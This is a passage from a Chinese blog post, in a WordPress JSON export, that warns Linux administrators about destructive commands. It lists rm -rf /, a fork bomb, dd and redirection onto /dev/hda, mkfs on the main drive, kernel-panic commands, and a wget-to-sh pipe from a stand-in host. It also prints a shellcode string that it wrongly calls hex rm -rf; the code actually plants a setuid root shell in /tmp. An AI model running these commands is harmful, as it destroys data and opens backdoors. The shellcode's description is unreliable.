{"id":3122,"date":"2018-02-04T09:25:10","date_gmt":"2018-02-04T01:25:10","guid":{"rendered":"http:\/\/cn.hostease.com\/xueyuan\/?p=3122"},"modified":"2018-02-04T09:25:10","modified_gmt":"2018-02-04T01:25:10","slug":"%e7%bb%9d%e4%b8%8d%e8%a6%81%e7%94%a8%e7%9a%84-linux-%e5%91%bd%e4%bb%a4%ef%bc%81","status":"publish","type":"post","link":"https:\/\/cn.hostease.com\/xueyuan\/jishu\/linux\/%e7%bb%9d%e4%b8%8d%e8%a6%81%e7%94%a8%e7%9a%84-linux-%e5%91%bd%e4%bb%a4%ef%bc%81\/","title":{"rendered":"\u7edd\u4e0d\u8981\u7528\u7684 Linux \u547d\u4ee4\uff01"},"content":{"rendered":"

\u5f53\u7136\uff0c\u9664\u975e\u4f60\u60f3\u5e72\u6389\u4f60\u7684\u673a\u5668\u3002<\/strong><\/p>\n

\u8718\u86db\u4fa0\u6709\u8fd9\u6837\u7684\u4e00\u53e5\u4fe1\u6761\uff0c\u201c\u6743\u529b\u8d8a\u5927\uff0c\u8d23\u4efb\u8d8a\u5927\u3002\u201d \u5bf9\u4e8e Linux \u7cfb\u7edf\u7ba1\u7406\u5458\u4eec\u6765\u8bf4\uff0c\u8fd9\u4e5f\u662f\u4e00\u79cd\u5e94\u5f53\u91c7\u7528\u7684\u660e\u667a\u6001\u5ea6\u3002<\/p>\n

\u4e0d\uff0c\u771f\u7684\uff0c\u771f\u5fc3\u611f\u8c22 DevOps \u7684\u6c9f\u901a\u534f\u4f5c\u548c\u4e91\u7f16\u6392\u6280\u672f\uff0c\u8ba9\u4e00\u4e2a Linux \u7ba1\u7406\u5458\u4e0d\u4ec5\u80fd\u638c\u63a7\u4e00\u53f0\u670d\u52a1\u5668\uff0c\u751a\u8005\u80fd\u63a7\u5236\u6210\u5343\u4e0a\u4e07\u53f0\u670d\u52a1\u5668\u5b9e\u4f8b\u3002\u53ea\u9700\u8981\u4e00\u4e2a\u611a\u8822\u7684\u4e3e\u52a8\uff0c\u4f60\u751a\u81f3\u53ef\u4ee5\u6bc1\u6389\u4e00\u4e2a\u4ef7\u503c\u6570\u5341\u4ebf\u7f8e\u5143\u7684\u4f01\u4e1a\uff0c\u5c31\u50cf\u00a0\u6ca1\u6709\u6253\u8865\u4e01\u7684 Apache Struts\u00a0\u4e00\u6837\u3002<\/p>\n

\u5982\u679c\u4e0d\u80fd\u8dd1\u5728\u5b89\u5168\u8865\u4e01\u4e4b\u524d\uff0c\u8fd9\u5c06\u4f1a\u5e26\u6765\u4e00\u4e2a\u8fdc\u8d85\u8fc7\u7cfb\u7edf\u7ba1\u7406\u5458\u5de5\u8d44\u6c34\u5e73\u7684\u6218\u7565\u6027\u4e1a\u52a1\u95ee\u9898\u3002\u8fd9\u91cc\u5c31\u6709\u4e00\u4e9b\u8db3\u4ee5\u641e\u6b7b Linux \u670d\u52a1\u5668\u7684\u7b80\u5355\u65b9\u5f0f\u638c\u63e1\u5728\u7cfb\u7edf\u7ba1\u7406\u5458\u624b\u4e2d\u3002\u5f88\u5bb9\u6613\u60f3\u8c61\u5230\uff0c\u53ea\u6709\u65b0\u624b\u624d\u4f1a\u72af\u8fd9\u4e9b\u9519\u8bef\uff0c\u4f46\u662f\uff0c\u6211\u4eec\u9700\u8981\u4e86\u89e3\u7684\u66f4\u591a\u3002<\/p>\n

\u4e0b\u5217\u662f\u4e00\u4e9b\u8457\u540d\u7684\u547d\u4ee4\uff0c\u4efb\u4f55\u62e5\u6709 root \u6743\u9650\u7684\u7528\u6237\u90fd\u80fd\u501f\u52a9\u5b83\u4eec\u5bf9\u670d\u52a1\u5668\u9020\u6210\u4e25\u91cd\u7834\u574f\u3002<\/p>\n

\u8b66\u544a\uff1a\u5343\u4e07\u4e0d\u8981\u5728\u751f\u4ea7\u73af\u5883\u8fd0\u884c\u8fd9\u4e9b\u547d\u4ee4\uff0c\u5b83\u4eec\u4f1a\u5371\u5bb3\u4f60\u7684\u7cfb\u7edf\u3002\u4e0d\u8981\u5728\u5bb6\u91cc\u5c1d\u8bd5\uff0c\u4e5f\u4e0d\u8981\u5728\u529e\u516c\u5ba4\u91cc\u6d4b\u8bd5\u3002<\/strong><\/p>\n

\u90a3\u4e48\uff0c\u7ee7\u7eed\uff01<\/p>\n

 <\/p>\n

rm -rf \/<\/h4>\n

\u60f3\u8981\u5e72\u8106\u5229\u843d\u7684\u6bc1\u6389\u4e00\u4e2a Linux \u7cfb\u7edf\u5417\uff1f\u4f60\u65e0\u6cd5\u8d85\u8d8a\u8fd9\u4e2a\u88ab\u8a89\u4e3a\u201c\u53f2\u4e0a\u6700\u7cdf\u7cd5\u201d\u7684\u7ecf\u5178\uff0c\u5b83\u80fd\u5220\u9664\u4e00\u5207\uff0c\u6211\u8bf4\u7684\u662f\uff0c\u80fd\u5220\u9664\u6240\u6709\u5b58\u5728\u4f60\u7cfb\u7edf\u91cc\u7684\u5185\u5bb9\uff01<\/p>\n

\u548c\u5927\u591a\u6570 Linux \u547d\u4ee4\u4e00\u6837\uff0crm<\/code> \u8fd9\u4e2a\u6838\u5fc3\u547d\u4ee4\u4f7f\u7528\u8d77\u6765\u975e\u5e38\u65b9\u4fbf\u3002\u5373\u4fbf\u662f\u6700\u987d\u56fa\u7684\u6587\u4ef6\u5b83\u4e5f\u80fd\u5e2e\u4f60\u5220\u9664\u3002\u7ed3\u5408\u8d77\u540e\u9762\u4e24\u4e2a\u53c2\u6570\u7406\u89e3 rm<\/code> \u6307\u4ee4\u65f6\uff0c\u4f60\u5f88\u5bb9\u6613\u9677\u5165\u5927\u9ebb\u70e6\uff1a-r<\/code>\uff0c\u5f3a\u5236\u9012\u5f52\u5220\u9664\u6240\u6709\u5b50\u76ee\u5f55\uff0c-f<\/code>\uff0c\u65e0\u9700\u786e\u8ba4\uff0c\u5f3a\u5236\u5220\u9664\u6240\u6709\u53ea\u8bfb\u6587\u4ef6\u3002\u5982\u679c\u4f60\u5728\u6839\u76ee\u5f55\u8fd0\u884c\u8fd9\u6761\u6307\u4ee4\uff0c\u5c06\u6e05\u9664\u6574\u4e2a\u9a71\u52a8\u5668\u4e0a\u7684\u6240\u6709\u6570\u636e\u3002<\/p>\n

\u5982\u679c\u4f60\u771f\u8fd9\u4e48\u5e72\u4e86\uff0c\u60f3\u60f3\u8be5\u600e\u4e48\u548c\u8001\u677f\u89e3\u91ca\u5427\uff01<\/p>\n

\u73b0\u5728\uff0c\u4e5f\u8bb8\u4f60\u4f1a\u60f3\uff0c\u201c\u6211\u6c38\u8fdc\u4e0d\u4f1a\u72af\u8fd9\u4e48\u611a\u8822\u7684\u9519\u8bef\u3002\u201d\u670b\u53cb\uff0c\u9a84\u5175\u5fc5\u8d25\u3002\u5438\u53d6\u4e00\u4e0b\u7ecf\u9a8c\u6559\u8bad\u5427\uff0c \u8fd9\u4e2a\u8b66\u793a\u6545\u4e8b\u6765\u81ea\u4e8e\u4e00\u4e2a\u7cfb\u7edf\u7ba1\u7406\u5458\u5728 Reddit \u4e0a\u7684\u5e16\u5b50\uff1a<\/p>\n

\u6211\u5728 IT \u754c\u5de5\u4f5c\u4e86\u5f88\u591a\u5e74\uff0c\u4f46\u662f\u4eca\u5929\uff0c\u4f5c\u4e3a Linux \u7cfb\u7edf root \u7528\u6237\uff0c\u6211\u5728\u9519\u8bef\u7684\u7cfb\u7edf\u8def\u5f84\u8fd0\u884c\u4e86 rm- f<\/code><\/p>\n

\u957f\u8bdd\u77ed\u8bf4\uff0c\u90a3\u5929\uff0c\u6211\u9700\u8981\u590d\u5236\u4e00\u5927\u5806\u76ee\u5f55\u4ece\u4e00\u4e2a\u76ee\u5f55\u5230\u53e6\u4e00\u4e2a\u76ee\u5f55\uff0c\u548c\u4f60\u4e00\u6837\uff0c\u6211\u6572\u4e86\u51e0\u4e2a cp -R<\/code> \u53bb\u590d\u5236\u6211\u9700\u8981\u7684\u5185\u5bb9\u3002<\/p>\n

\u4ee5\u6211\u7684\u806a\u660e\u52b2\uff0c\u6211\u6301\u7eed\u6572\u7740\u4e0a\u7bad\u5934\uff0c\u5728\u547d\u4ee4\u8bb0\u5f55\u4e2d\u5bfb\u627e\u53ef\u4ee5\u590d\u5236\u4f7f\u7528\u7684\u7c7b\u4f3c\u547d\u4ee4\u540d\uff0c\u4f46\u662f\u5b83\u4eec\u6df7\u6742\u5728\u4e00\u5927\u5806\u5176\u4ed6\u547d\u4ee4\u5f53\u4e2d\u3002<\/p>\n

\u4e0d\u7ba1\u600e\u4e48\u8bf4\uff0c\u6211\u4e00\u8fb9\u5728 Skype\u3001Slack \u548c WhatsApp \u7684\u7f51\u9875\u4e0a\u6253\u5b57\uff0c\u4e00\u8fb9\u53c8\u548c Sage \u901a\u7535\u8bdd\uff0c\u6ce8\u610f\u529b\u4e25\u91cd\u5206\u6563\uff0c\u6211\u5728\u6572\u5165 rm -R .\/videodir\/* ..\/companyvideodirwith651vidsin\/<\/code> \u8fd9\u6837\u4e00\u6761\u547d\u4ee4\u65f6\u795e\u6e38\u7269\u5916\u3002<\/p><\/blockquote>\n

\u7136\u540e\uff0c\u5f53\u6587\u4ef6\u5316\u4e3a\u4e4c\u6709\u65f6\u5176\u4e2d\u4e5f\u5305\u62ec\u4e86\u516c\u53f8\u7684\u89c6\u9891\u3002\u5e78\u8fd0\u7684\u662f\uff0c\u5728\u75af\u72c2\u6572\u51fb control -C<\/code> \u540e\uff0c\u5728\u5220\u9664\u592a\u591a\u6587\u4ef6\u4e4b\u524d\uff0c\u7cfb\u7edf\u7ba1\u7406\u5458\u4e2d\u6b62\u4e86\u8fd9\u6761\u547d\u4ee4\u3002\u4f46\u8fd9\u662f\u5bf9\u4f60\u7684\u8b66\u544a\uff1a\u4efb\u4f55\u4eba\u90fd\u53ef\u80fd\u72af\u8fd9\u6837\u7684\u9519\u8bef\u3002<\/p>\n

\u4e8b\u5b9e\u4e0a\uff0c\u7edd\u5927\u90e8\u5206\u73b0\u4ee3\u64cd\u4f5c\u7cfb\u7edf\u90fd\u4f1a\u5728\u4f60\u72af\u8fd9\u4e9b\u9519\u8bef\u4e4b\u524d\uff0c\u7528\u4e00\u6bb5\u9192\u76ee\u7684\u6587\u5b57\u8b66\u544a\u4f60\u3002\u7136\u800c\uff0c\u5982\u679c\u4f60\u5728\u8fde\u7eed\u6572\u51fb\u952e\u76d8\u65f6\u5fd9\u788c\u6216\u662f\u5206\u5fc3\uff0c\u4f60\u5c06\u4f1a\u628a\u4f60\u7684\u7cfb\u7edf\u952e\u5165\u4e00\u4e2a\u9ed1\u6d1e\u3002\uff08LCTT \u8bd1\u6ce8\uff1a\u5e78\u8fd0\u7684\u662f\uff0c\u53ef\u80fd\u5728\u6839\u76ee\u5f55\u4e0b\u5220\u9664\u6574\u4e2a\u6587\u4ef6\u7cfb\u7edf\u7684\u4eba\u592a\u591a\u4e86\u989d\uff0c\u540e\u6765 rm<\/code> \u9ed8\u8ba4\u7981\u6b62\u5220\u9664\u6839\u76ee\u5f55\uff0c\u9664\u975e\u2014\u2014\u4f60\u624b\u52a8\u52a0\u4e0a --no-preserve-root<\/code> \u53c2\u6570\uff01\uff09<\/p>\n

\u8fd9\u91cc\u6709\u4e00\u4e9b\u66f4\u4e3a\u9690\u853d\u7684\u65b9\u5f0f\u8c03\u7528 rm -rf<\/code>\u3002\u601d\u8003\u4e00\u4e0b\u4e0b\u9762\u7684\u4ee3\u7801\uff1a<\/p>\n

    \n
  1. char<\/span> esp<\/span>[]<\/span> __attribute__ <\/span>((<\/span>section<\/span>(\u201c.<\/span>text<\/span>\u201d)))<\/span>=<\/span>\u201c<\/span>\\xeb\\x<\/span>3e<\/span>\\x<\/span>5b<\/span>\\x<\/span>31<\/span>\\xc0\\x<\/span>50<\/span>\\x<\/span>54<\/span>\\x<\/span>5a<\/span>\\x<\/span>83<\/span>\\xec\\x<\/span>64<\/span>\\x<\/span>68<\/span>\u201d<\/span><\/code><\/li>\n
  2. \u201c<\/span>\\xff\\xff\\xff\\xff\\x<\/span>68<\/span>\\x<\/span>df<\/span>\\xd0\\x<\/span>df<\/span>\\xd9\\x<\/span>68<\/span>\\x<\/span>8d<\/span>\\x<\/span>99<\/span>\u201d<\/span><\/code><\/li>\n
  3. \u201c<\/span>\\x<\/span>df<\/span>\\x<\/span>81<\/span>\\x<\/span>68<\/span>\\x<\/span>8d<\/span>\\x<\/span>92<\/span>\\x<\/span>df<\/span>\\xd2\\x<\/span>54<\/span>\\x<\/span>5e<\/span>\\xf7\\x<\/span>16<\/span>\\xf7<\/span>\u201d<\/span><\/code><\/li>\n
  4. \u201c<\/span>\\x<\/span>56<\/span>\\x<\/span>04<\/span>\\xf7\\x<\/span>56<\/span>\\x<\/span>08<\/span>\\xf7\\x<\/span>56<\/span>\\x<\/span>0c<\/span>\\x<\/span>83<\/span>\\xc4\\x<\/span>74<\/span>\\x<\/span>56<\/span>\u201d<\/span><\/code><\/li>\n
  5. \u201c<\/span>\\x<\/span>8d<\/span>\\x<\/span>73<\/span>\\x<\/span>08<\/span>\\x<\/span>56<\/span>\\x<\/span>53<\/span>\\x<\/span>54<\/span>\\x<\/span>59<\/span>\\xb0\\x<\/span>0b<\/span>\\x<\/span>cd<\/span>\\x<\/span>80<\/span>\\x<\/span>31<\/span>\u201d<\/span><\/code><\/li>\n
  6. \u201c<\/span>\\xc0\\x<\/span>40<\/span>\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x<\/span>2f<\/span>\\x<\/span>62<\/span>\\x<\/span>69<\/span>\u201d<\/span><\/code><\/li>\n
  7. \u201c<\/span>\\x<\/span>6e<\/span>\\x<\/span>2f<\/span>\\x<\/span>73<\/span>\\x<\/span>68<\/span>\\x<\/span>00<\/span>\\x<\/span>2d<\/span>\\x<\/span>63<\/span>\\x<\/span>00<\/span>\u201d<\/span><\/code><\/li>\n
  8. \u201c<\/span>cp<\/span>-<\/span>p <\/span>\/<\/span>bin<\/span>\/<\/span>sh <\/span>\/<\/span>tmp<\/span>\/.<\/span>beyond<\/span>;<\/span>chmod<\/span>4755<\/span><\/code><\/li>\n
  9. \/<\/span>tmp<\/span>\/.<\/span>beyond<\/span>;\u201d;<\/span><\/code><\/li>\n<\/ol>\n

    \u8fd9\u662f\u4ec0\u4e48\uff1f\u8fd9\u662f 16 \u8fdb\u5236\u7684 rm -rf<\/code> \u5199\u6cd5\u3002\u5728\u4f60\u4e0d\u660e\u786e\u8fd9\u6bb5\u4ee3\u7801\u4e4b\u524d\uff0c\u8bf7\u5343\u4e07\u4e0d\u8981\u8fd0\u884c\u8fd9\u6761\u547d\u4ee4\uff01<\/p>\n

     <\/p>\n

    fork \u70b8\u5f39<\/h4>\n

    \u65e2\u7136\u6211\u4eec\u8ba8\u8bba\u7684\u90fd\u662f\u4e9b\u5947\u602a\u7684\u4ee3\u7801\uff0c\u4e0d\u59a8\u601d\u8003\u4e00\u4e0b\u8fd9\u4e00\u884c\uff1a<\/p>\n

      \n
    1. :(){<\/span>:|:<\/span>&<\/span>};:<\/span><\/code><\/li>\n<\/ol>\n

      \u5bf9\u4f60\u6765\u8bf4\uff0c\u8fd9\u53ef\u80fd\u770b\u8d77\u6765\u6709\u4e9b\u795e\u79d8\uff0c\u4f46\u662f\u6211\u770b\u6765\uff0c\u5b83\u5c31\u662f\u90a3\u4e2a\u81ed\u540d\u662d\u8457\u7684 Bash fork \u70b8\u5f39\u3002\u5b83\u4f1a\u53cd\u590d\u542f\u52a8\u65b0\u7684 Bash shell\uff0c\u76f4\u5230\u4f60\u7684\u7cfb\u7edf\u8d44\u6e90\u6d88\u8017\u6b86\u5c3d\u3001\u7cfb\u7edf\u5d29\u6e83\u3002<\/p>\n

      \u4e0d\u5e94\u8be5\u5728\u6700\u65b0\u7684 Linux \u7cfb\u7edf\u4e0a\u505a\u8fd9\u4e9b\u64cd\u4f5c\u3002\u6ce8\u610f\uff0c\u6211\u8bf4\u7684\u662f\u4e0d\u5e94\u8be5<\/strong>\u3002\u6211\u6ca1\u6709\u8bf4\u4e0d\u80fd<\/strong>\u3002\u6b63\u786e\u8bbe\u7f6e\u7528\u6237\u6743\u9650\uff0cLinux \u7cfb\u7edf\u80fd\u591f\u963b\u6b62\u8fd9\u4e9b\u7834\u574f\u6027\u884c\u4e3a\u3002\u901a\u5e38\u7528\u6237\u4ec5\u9650\u4e8e\u5206\u914d\u4f7f\u7528\u673a\u5668\u53ef\u7528\u5185\u5b58\u3002\u4f46\u662f\u5982\u679c\u4f5c\u4e3a root \u7528\u6237\u7684\u4f60\u8fd0\u884c\u4e86\u8fd9\u884c\u547d\u4ee4\uff08\u6216\u8005\u5b83\u7684\u53d8\u4f53 Bash fork \u70b8\u5f39\u53d8\u4f53\uff09\uff0c\u4f60\u4ecd\u7136\u53ef\u4ee5\u53cd\u590d\u8650\u5f85\u670d\u52a1\u5668\uff0c\u76f4\u5230\u7cfb\u7edf\u91cd\u542f\u4e86\u3002<\/p>\n

       <\/p>\n

      \u5783\u573e\u6570\u636e\u91cd\u5199\u786c\u76d8<\/h4>\n

      \u6709\u65f6\u5019\u4f60\u60f3\u5f7b\u5e95\u6e05\u9664\u786c\u76d8\u7684\u6570\u636e\uff0c\u4f60\u5e94\u8be5\u4f7f\u7528 Darik’s Boot and Nuke \uff08DBAN\uff09 \u5de5\u5177\u53bb\u5b8c\u6210\u8fd9\u9879\u5de5\u4f5c\u3002<\/p>\n

      \u4f46\u662f\u5982\u679c\u4ec5\u4ec5\u60f3\u8ba9\u4f60\u7684\u5b58\u50a8\u5668\u4e71\u5957\uff0c\u90a3\u5f88\u7b80\u5355\uff1a<\/p>\n

        \n
      1. \u4efb\u610f\u547d\u4ee4<\/span>><\/span>\/dev\/<\/span>hda<\/span><\/code><\/li>\n<\/ol>\n

        \u6211\u8bf4\u7684\u201c\u4efb\u610f\u547d\u4ee4\u201d\uff0c\u662f\u6307\u6709\u8f93\u51fa\u7684\u4efb\u610f\u547d\u4ee4\uff0c\u6bd4\u5982:<\/p>\n

          \n
        1. ls<\/span>-<\/span>la <\/span>><\/span>\/dev\/<\/span>hda<\/span><\/code><\/li>\n<\/ol>\n

          \u2026\u2026\u5c06\u76ee\u5f55\u5217\u8868\u901a\u8fc7\u7ba1\u9053\u9001\u5230\u4f60\u7684\u4e3b\u5b58\u50a8\u8bbe\u5907\u3002\u7ed9\u6211 root \u6743\u9650\u548c\u8db3\u591f\u7684\u65f6\u95f4\uff0c\u5c31\u80fd\u8986\u76d6\u6574\u4e2a\u786c\u76d8\u8bbe\u5907\u3002\u8fd9\u662f\u8ba9\u4f60\u5f00\u59cb\u76f2\u76ee\u6050\u614c\u7684\u4e00\u5929\u7684\u597d\u529e\u6cd5\uff0c\u6216\u8005\uff0c\u53ef\u4ee5\u628a\u5b83\u53d8\u6210 \u804c\u4e1a\u7981\u5165\u65b9\u5f0f\u3002<\/p>\n

           <\/p>\n

          \u64e6\u9664\u786c\u76d8\uff01<\/h4>\n

          \u53e6\u4e00\u4e2a\u4e00\u76f4\u53d7\u6b22\u8fce\u7684\u64e6\u9664\u786c\u76d8\u7684\u65b9\u5f0f\u662f\u6267\u884c\uff1a<\/p>\n

            \n
          1. dd<\/span>if<\/span>=<\/span>\/dev\/<\/span>zero of<\/span>=<\/span>\/dev\/<\/span>hda<\/span><\/code><\/li>\n<\/ol>\n

            \u4f60\u53ef\u4ee5\u7528\u8fd9\u6761\u547d\u4ee4\u5199\u5165\u6570\u636e\u5230\u4f60\u7684\u786c\u76d8\u8bbe\u5907\u3002dd<\/code> \u547d\u4ee4\u53ef\u4ee5\u4ece\u7279\u6b8a\u6587\u4ef6\u4e2d\u83b7\u53d6\u65e0\u5c3d\u4e2a 0<\/code> \u5b57\u7b26\uff0c\u5e76\u4e14\u5c06\u5b83\u5168\u90e8\u5199\u5165\u4f60\u7684\u8bbe\u5907\u3002<\/p>\n

            \u53ef\u80fd\u73b0\u5728\u542c\u8d77\u6765 \/dev\/zero<\/code> \u662f\u4e2a\u611a\u8822\u7684\u60f3\u6cd5\uff0c\u4f46\u662f\u5b83\u771f\u7684\u7ba1\u7528\u3002\u6bd4\u5982\ufffd\ufffd\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528\u5b83\u6765 \u7528\u96f6\u6e05\u9664\u672a\u4f7f\u7528\u7684\u5206\u533a\u7a7a\u95f4\u3002\u5b83\u80fd\u4f7f\u5206\u533a\u7684\u955c\u50cf\u538b\u7f29\u5230\u66f4\u5c0f\uff0c\u4ee5\u4fbf\u4e8e\u6570\u636e\u4f20\u8f93\u6216\u662f\u5b58\u6863\u4f7f\u7528\u3002<\/p>\n

            \u5728\u53e6\u4e00\u65b9\u9762\uff0c\u5b83\u548c dd if=\/dev\/random of=\/dev\/hda<\/code> \u76f8\u8fd1\uff0c\u9664\u4e86\u80fd\u6bc1\u6389\u4f60\u7684\u4e00\u5929\u4e4b\u5916\uff0c\u4e0d\u662f\u4e00\u4e2a\u597d\u4e8b\u3002\u5982\u679c\u4f60\u8fd0\u884c\u4e86\u8fd9\u4e2a\u6307\u4ee4\uff08\u5343\u4e07\u4e0d\u8981\uff09\uff0c\u4f60\u7684\u5b58\u50a8\u5668\u4f1a\u88ab\u968f\u673a\u6570\u636e\u8986\u76d6\u3002\u4f5c\u4e3a\u4e00\u4e2a\u9690\u85cf\u4f60\u8981\u63a5\u7ba1\u529e\u516c\u5ba4\u5496\u5561\u673a\u7684\u79d8\u5bc6\u8ba1\u5212\u7684\u534a\u540a\u5b50\u65b9\u6cd5\uff0c\u5012\u662f\u4e0d\u9519\uff0c\u4f46\u662f\u4f60\u53ef\u4ee5\u4f7f\u7528 DBAN \u5de5\u5177\u53bb\u66f4\u597d\u7684\u5b8c\u6210\u4f60\u7684\u4efb\u52a1\u3002<\/p>\n

             <\/p>\n

            \/dev\/null \u7684\u635f\u5931<\/h4>\n

            \u4e5f\u8bb8\u56e0\u4e3a\u6570\u636e\u73cd\u8d35\uff0c\u6211\u4eec\u5bf9\u5907\u4efd\u7684\u6570\u636e\u6ca1\u6709\u4ec0\u4e48\u4fe1\u5fc3\uff0c\u786e\u5b9e\u5f88\u591a\u201c\u6c38\u8fdc\u4e0d\u8981\u8fd9\u6837\u505a\uff01\u201d\u7684\u547d\u4ee4\u90fd\u4f1a\u5bfc\u81f4\u786c\u76d8\u6216\u5176\u5b83\u5b58\u50a8\u4ed3\u5e93\u7684\u6570\u636e\u88ab\u64e6\u9664\u3002\u4e00\u4e2a\u9c9c\u660e\u7684\u5b9e\u4f8b\uff1a\u53e6\u4e00\u4e2a\u6bc1\u706d\u4f60\u7684\u5b58\u50a8\u8bbe\u5907\u7684\u65b9\u5f0f\uff0c\u8fd0\u884c mv \/ \/dev\/null<\/code> \u6216\u8005 >mv \/dev\/null<\/code>\u3002<\/p>\n

            \u5728\u524d\u4e00\u79cd\u60c5\u51b5\u4e0b\uff0c\u4f60\u4f5c\u4e3a root \u7528\u6237\uff0c\u628a\u6574\u4e2a\u78c1\u76d8\u6570\u636e\u90fd\u9001\u8fdb\u8fd9\u4e2a\u5982\u9965\u4f3c\u6e34\u7684 \/dev\/null<\/code>\u3002\u5728\u540e\u8005\uff0c\u4f60\u4ec5\u4ec5\u628a\u5bb6\u76ee\u5f55\u5582\u7ed9\u8fd9\u4e2a\u7a7a\u7a7a\u5982\u4e5f\u7684\u4ed3\u5e93\u3002\u4efb\u4f55\u4e00\u79cd\u60c5\u51b5\u4e0b\uff0c\u9664\u975e\u8fd8\u539f\u5907\u4efd\uff0c\u4f60\u518d\u4e5f\u4e0d\u4f1a\u518d\u770b\u89c1\u4f60\u7684\u6570\u636e\u4e86\u3002<\/p>\n

            \u89c1\u9b3c\uff0c\u96be\u9053\u4f1a\u8ba1\u771f\u7684\u4e0d\u9700\u8981\u6700\u65b0\u7684\u5e94\u6536\u8d26\u6b3e\u6587\u4ef6\u4e86\u5417\uff1f<\/p>\n

             <\/p>\n

            \u683c\u5f0f\u5316\u9519\u4e86\u9a71\u52a8\u5668<\/h4>\n

            \u6709\u65f6\u5019\u4f60\u9700\u8981\u4f7f\u7528\u8fd9\u4e00\u6761\u547d\u4ee4\u683c\u5f0f\u5316\u9a71\u52a8\u5668\uff1a<\/p>\n

              \n
            1. mkfs<\/span>.<\/span>ext3 <\/span>\/<\/span>dev<\/span>\/<\/span>hda<\/span><\/code><\/li>\n<\/ol>\n

              \u2026\u2026\u5b83\u4f1a\u7528 ext3 \u6587\u4ef6\u7cfb\u7edf\u683c\u5f0f\u5316\u4e3b\u786c\u76d8\u9a71\u52a8\u5668\u3002\u522b\uff0c\u8bf7\u7b49\u4e00\u4e0b\uff01\u4f60\u6b63\u5728\u683c\u5f0f\u5316\u4f60\u7684\u4e3b\u9a71\u52a8\u5668\uff01\u96be\u9053\u4f60\u4e0d\u9700\u8981\u7528\u5b83\uff1f<\/p>\n

              \u5f53\u4f60\u8981\u683c\u5f0f\u5316\u9a71\u52a8\u5668\u7684\u65f6\u5019\uff0c\u8bf7\u52a1\u5fc5\u52a0\u500d\u786e\u8ba4\u4f60\u6b63\u5728\u683c\u5f0f\u5316\u7684\u5206\u533a\u662f\u771f\u7684\u9700\u8981\u683c\u5f0f\u5316\u7684\u90a3\u5757\u800c\u4e0d\u662f\u4f60\u6b63\u5728\u4f7f\u7528\u7684\u90a3\u5757\uff0c\u65e0\u8bba\u5b83\u4eec\u662f SSD\u3001\u95ea\u5b58\u76d8\u8fd8\u662f\u5176\u4ed6\u6c27\u5316\u94c1\u78c1\u76d8\u3002<\/p>\n

               <\/p>\n

              \u5185\u6838\u5d29\u6e83<\/h4>\n

              \u4e00\u4e9b Linux \u547d\u4ee4\u4e0d\u80fd\u8ba9\u4f60\u7684\u673a\u5668\u957f\u65f6\u95f4\u505c\u673a\u3002\u7136\u800c\uff0c\u4e00\u4e9b\u547d\u4ee4\u5374\u53ef\u4ee5\u5bfc\u81f4\u5185\u6838\u5d29\u6e83\u3002\u8fd9\u4e9b\u9519\u8bef\u901a\u5e38\u662f\u7531\u786c\u4ef6\u95ee\u9898\u5f15\u8d77\u7684\uff0c\u4f46\u4f60\u4e5f\u53ef\u4ee5\u81ea\u5df1\u641e\u5d29\u3002<\/p>\n

              \u5f53\u4f60\u906d\u9047\u5185\u6838\u5d29\u6e83\uff0c\u91cd\u65b0\u542f\u52a8\u7cfb\u7edf\u4f60\u624d\u53ef\u4ee5\u6062\u590d\u5de5\u4f5c\u3002\u5728\u4e00\u4e9b\u60c5\u51b5\u4e0b\uff0c\u8fd9\u53ea\u662f\u6709\u70b9\u5c0f\u70e6\uff1b\u5728\u53e6\u4e00\u4e9b\u60c5\u51b5\u4e0b\uff0c\u8fd9\u662f\u4e00\u4e2a\u5927\u95ee\u9898\uff0c\u6bd4\u5982\u8bf4\uff0c\u9ad8\u8d1f\u8377\u8fd0\u4f5c\u4e0b\u7684\u751f\u4ea7\u73af\u5883\u3002\u4e0b\u9762\u6709\u4e00\u4e2a\u6848\u4f8b\uff1a<\/p>\n

                \n
              1. dd<\/span>if<\/span>=<\/span>\/dev\/<\/span>random of<\/span>=<\/span>\/dev\/<\/span>port<\/span><\/code><\/li>\n
              2. echo<\/span>1<\/span>><\/span>\/proc\/<\/span>sys<\/span>\/<\/span>kernel<\/span>\/<\/span>panic<\/span><\/code><\/li>\n
              3. cat<\/span>\/<\/span>dev<\/span>\/<\/span>port<\/span><\/code><\/li>\n
              4. cat<\/span>\/<\/span>dev<\/span>\/<\/span>zero <\/span>><\/span>\/dev\/<\/span>mem<\/span><\/code><\/li>\n<\/ol>\n

                \u8fd9\u4e9b\u90fd\u4f1a\u5bfc\u81f4\u5185\u6838\u5d29\u6e83\u3002<\/p>\n

                \u7edd\u4e0d\u8981\u8fd0\u884c\u4f60\u5e76\u4e0d\u4e86\u89e3\u5b83\u529f\u80fd\u7684\u547d\u4ee4\uff0c\u5b83\u4eec\u90fd\u5728\u63d0\u9192\u6211\u2026<\/p>\n

                 <\/p>\n

                \u63d0\u9632\u672a\u77e5\u811a\u672c<\/h4>\n

                \u5e74\u8f7b\u6216\u662f\u61d2\u60f0\u7684\u7cfb\u7edf\u7ba1\u7406\u5458\u559c\u6b22\u590d\u5236\u522b\u4eba\u7684\u811a\u672c\u3002\u4f55\u5fc5\u91cd\u65b0\u91cd\u590d\u9020\u8f6e\u5b50\uff1f\u6240\u4ee5\uff0c\u4ed6\u4eec\u627e\u5230\u4e86\u4e00\u4e2a\u5f88\u9177\u7684\u811a\u672c\uff0c\u627f\u8bfa\u4f1a\u81ea\u52a8\u68c0\u67e5\u6240\u6709\u5907\u4efd\u3002\u4ed6\u4eec\u5c31\u8fd9\u6837\u8fd0\u884c\u5b83\uff1a<\/p>\n

                  \n
                1. wget<\/span> https<\/span>:<\/span>\/\/ImSureThisIsASafe\/GreatScript.sh -O- | sh<\/span><\/code><\/li>\n<\/ol>\n

